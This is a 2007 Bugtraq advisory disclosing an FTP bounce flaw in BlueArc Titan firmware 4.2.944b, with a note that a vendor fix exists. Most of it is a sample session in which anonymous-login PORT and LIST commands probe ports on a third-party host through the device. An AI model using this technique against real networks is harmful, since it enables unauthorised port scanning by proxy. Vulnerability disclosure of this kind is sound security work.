BlueArc Firmware 4.2.944b FTP bounce
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: BlueArc Firmware 4.2.944b FTP bounce
- From: "Tim Rupp" <caphrim007@xxxxxxxxx>
- Date: Tue, 17 Apr 2007 15:00:47 -0500
- Dkim-signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=VWSNiiN/6HOq3D4+NaoGwcxT5qFFNC8FRjr+SHKhr4/Mw4NOP9HdzhzPjJ7R0cCQclLESwfTekg++lnVQ3IB9pZXIh/VorpWD1v/iQRU1kNvitLHIlH4MUAcN53cT8I5gJWHaeJyWJrSvQVeN2sooae4bZptfGOPUObj4Y5YMwg=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=ir0CzYGCd/shDUKm5rGuX61yebvTZdTTWY2IJhrr8lR/MUXVje3fkMgQqq6TpBaUuz2EBp/4J2ocDAQ9mU0IgOhuIR7M+xazp0IWbeWpwjRpDjCLgcdfJKls6eMJBWhsmktnQmf5eEyNebitaLLHC5QJqBpi2UXparMnpQ11iMo=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
Hi all,
BlueArc Titan 2x00 devices running firmware version 4.2.944b are
susceptible to FTP bounce attacks. The vendor has confirmed this, and
a fix is available in the 4.3 firmware.
Example:
First connect to SSH, success
Then to MySQL, no success
Then to telnet, no success
[user@localhost ~]$ ftp bluearctitan
Connected to bluearctitan.
220 Server ready (BlueArc-FTPD v1.0)
Name (bluearctitan:user): anonymous
331 Username okay; need password
Password:
230 User logged in, proceed
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "PORT xxx,xxx,xxx,xxx,0,22"
200 PORT Command Okay
ftp> quote "LIST"
150 File status okay; about to open data connection
226 Transfer Complete
ftp> quote "PORT xxx,xxx,xxx,xxx,12,234"
200 PORT Command Okay
ftp> quote "LIST"
150 File status okay; about to open data connection
425 Can't open data connection (dtp_list)
ftp> quote "PORT xxx,xxx,xxx,xxx,0,23"
200 PORT Command Okay
ftp> quote "LIST"
150 File status okay; about to open data connection
425 Can't open data connection (dtp_list)